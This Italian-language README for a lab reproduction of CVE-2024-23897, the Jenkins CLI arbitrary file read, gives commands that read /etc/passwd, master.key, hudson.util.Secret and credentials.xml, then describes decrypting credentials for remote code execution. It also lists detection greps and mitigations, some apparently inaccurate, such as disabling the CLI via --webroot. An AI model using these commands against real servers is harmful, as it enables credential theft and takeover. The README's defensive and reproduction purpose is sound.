
Riproduzione di cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (CRITICO) — Sfruttata attivamente in natura
CVE-2024-23897 è una vulnerabilità critica di lettura file arbitrari nell'interfaccia a riga di comando (CLI) di Jenkins. La CLI di Jenkins utilizza la libreria args4j per analizzare gli argomenti dei comandi. Questa libreria espande il carattere @ seguito da un percorso file (@/percorso/del/file) leggendo il contenuto di quel file e iniettandolo come argomenti. Un attaccante non autenticato può sfruttare questo comportamento per leggere file arbitrari sul filesystem del controller Jenkins senza richiedere alcuna autenticazione.
Se combinata con l'estrazione di credentials.xml, segreti o master.key, questa vulnerabilità può portare al compromesso totale del server (RCE).
@ in args4jLa libreria args4j (usata dal parser dei comandi CLI di Jenkins) implementa una funzionalità di comodità: quando un argomento inizia con @, tratta il resto dell'argomento come un percorso file, legge il contenuto del file e lo suddivide in più argomenti. Questa funzionalità era pensata per consentire il passaggio di grandi elenchi di argomenti tramite file.
Esempio: java -jar jenkins-cli.jar who-am-i @/etc/passwd farebbe sì che args4j legga /etc/passwd e utilizzi il suo contenuto come argomenti per il comando who-am-i.
Poiché alcuni comandi CLI (come connect-node) restituiscono o includono i valori degli argomenti nei messaggi di errore/risposta, un attaccante può osservare il contenuto dei file nella risposta della CLI.
@/etc/passwd| Prodotto | Interessate | Corrette |
|---|---|---|
| Jenkins (settimanale) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (precedente) | ≤ 2.414.2 | 2.414.3 |
Nota: Tutte le versioni di Jenkins precedenti alle correzioni elencate sopra sono vulnerabili. La funzionalità CLI esiste in Jenkins da molti anni, quindi anche le versioni più vecchie sono interessate anche se non elencate esplicitamente.
Esegui un'istanza Jenkins vulnerabile con Docker:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
Prendi nota della password admin iniziale dai log del container.
Verifica che la porta CLI sia aperta:
# La porta CLI di Jenkins (TCP 50000) dovrebbe essere in ascolto
# Oppure puoi usare l'endpoint CLI HTTP su /cli/
Installa Python 3.8+ con le dipendenze richieste:
pip install requests
# Test di lettura file di base — legge /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Legge i segreti di Jenkins (percorso di escalation)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Scarica il jar della CLI di Jenkins
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Legge /etc/passwd tramite la CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Legge i segreti di Jenkins
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
Il contenuto dei file appare nella risposta della CLI o nell'output di errore. Ad esempio, la lettura di /etc/passwd restituirebbe le voci del file password del sistema.
# Legge la configurazione per comprendere l'ambiente
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Legge utenti e permessi
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Estrae la chiave master (usata per cifrare le credenziali)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Estrae la chiave hudson.util.Secret
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Estrae le credenziali (cifrate)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
Con master.key e hudson.util.Secret, puoi decrittare le credenziali Jenkins utilizzando strumenti come jenkins_decrypt.py o lo script decrypt.py dei riferimenti di CVE-2024-23897. Le credenziali decrittate (chiavi SSH, token API, chiavi del provider cloud) possono quindi essere utilizzate per ottenere l'esecuzione remota di codice su nodi connessi e ambienti cloud.
Cerca nei log di accesso o nei log di audit CLI argomenti contenenti @ seguito da percorsi file:
# grep per accessi CLI sospetti
grep -r "@/" /var/log/jenkins/access.log
# Controlla le connessioni CLI da IP inattesi
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
Se non è possibile applicare immediatamente la patch, disabilita la porta CLI impostando l'opzione --webroot o bloccando la porta 50000. Tuttavia, nota che l'endpoint CLI HTTP (/cli/) all'interno dell'interfaccia web potrebbe essere comunque sfruttabile, quindi l'applicazione della patch è fortemente raccomandata.
Questo repository è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Lo sfruttamento non autorizzato di questa vulnerabilità è illegale. Gli autori non sono responsabili di qualsiasi uso improprio di queste informazioni. Testa solo su sistemi che possiedi o per i quali hai esplicito permesso scritto di testare.
| Azione | Dettagli |
|---|
| Aggiorna Jenkins | Aggiorna a Jenkins 2.442+ o LTS 2.426.3+ / 2.414.3+ |
| Disabilita la porta CLI | Blocca la porta TCP 50000 nel firewall se non necessaria |
| Limita l'accesso di rete | Limita l'accesso alla porta CLI di Jenkins solo a reti fidate |
| Abilita l'autenticazione | Assicurati che Jenkins richieda l'autenticazione per ogni accesso |
| Monitora i log | Cerca comandi CLI con argomenti @ nei log di accesso |